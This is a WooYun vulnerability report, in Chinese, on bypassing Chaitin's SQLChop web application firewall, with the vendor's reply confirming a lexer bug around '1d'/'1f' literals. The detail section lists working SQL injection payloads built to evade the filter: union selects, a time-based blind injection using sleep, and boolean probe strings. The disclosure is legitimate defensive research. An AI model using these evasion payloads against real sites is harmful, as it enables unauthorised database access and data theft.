漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0126555
漏洞标题:长亭科技sqlchop bypass
相关厂商:chaitin.com
漏洞作者: izy
提交时间:2015-07-14 12:17
修复时间:2015-07-14 12:53
公开时间:2015-07-14 12:53
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经修复
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-14: 细节已通知厂商并且等待厂商处理中
2015-07-14: 厂商已经确认,细节仅向厂商公开
2015-07-14: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
T_T
详细说明:
First:
对#的处理问题:
因为#是注释符,在语法分析中对此符号没有做好处理导致可被绕过。
例如提交即可绕过:
test%23aaa' union select user(),2;
只要我们在字符串中包含#这个字符就可以导致waf失效!这是非常严重的。。。
Second:
直接select{x user}from{x admin}这样是不行的
但是fuzz了一下:
这样可以绕过:select{x user}from{1d admin}
union:
union select (select{x user}from{1d admin}+limit+1),1
盲注:
1' and if(ascii(substr((select{1d user()}),1,1))>11,sleep(1),1)
同理报错注入也是可以的!
关键点在1d这个地方!同样一点错误导致waf完全被绕过!
注入的判断:
and--!!!1=- -!!!1
and--!!!1=- -!!!0
or:
%26%261=1
%26%261=0
||1=1
还有些数据库特性:
1):iis在asp程序处理中对于%的处理
2):iis在aspx程序处理中对于%u00的处理
3):select 1,2,3,4 from dual where id =1[]union[]select[]1,2,3,4 from[]
一些小问题,感觉这样防御有点暴力:
漏洞证明:
修复方案:
语法分析思路很赞啊!
版权声明:转载请注明来源 izy@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-07-14 12:48
厂商回复:
非常感谢乌云的报告。在收到报告后我们技术人员进行了分析,如下:
使用语句test%23aaa' union select user(),2; 进行测试的时候显示Blocked。为了严谨,仔细核查日志,发现日志中语句test%23aaa' union select user(),2; 的所有测试也都是被拦截的。不知道是不是白帽子在测试的时候是不是因为网络导致显示的还是前一条的结果。为了避免再次让测试者误解,前端方面我们也会再努力去进行调整。
关于1d的问题,词法分析实现时考虑了oracle db下对浮点数的处理,将1d处理为数字,于是我们在后端对1d进行了特殊处理以至于出现这种bug。除白帽子报告的1d以外,还有1f也有这个问题。在下一版本中我们会进行一些完善。
由于考虑到union注入可能导致非常严重的后果,于是之前的实现中对这部分做了严格的处理。关于uddddnion dd误报的问题在下一版本中会综合实际情况考虑进行一些调整。
再次感谢白帽子报告问题。
最新状态:
2015-07-14:现在公开供大家学习,下一版本中统一修复。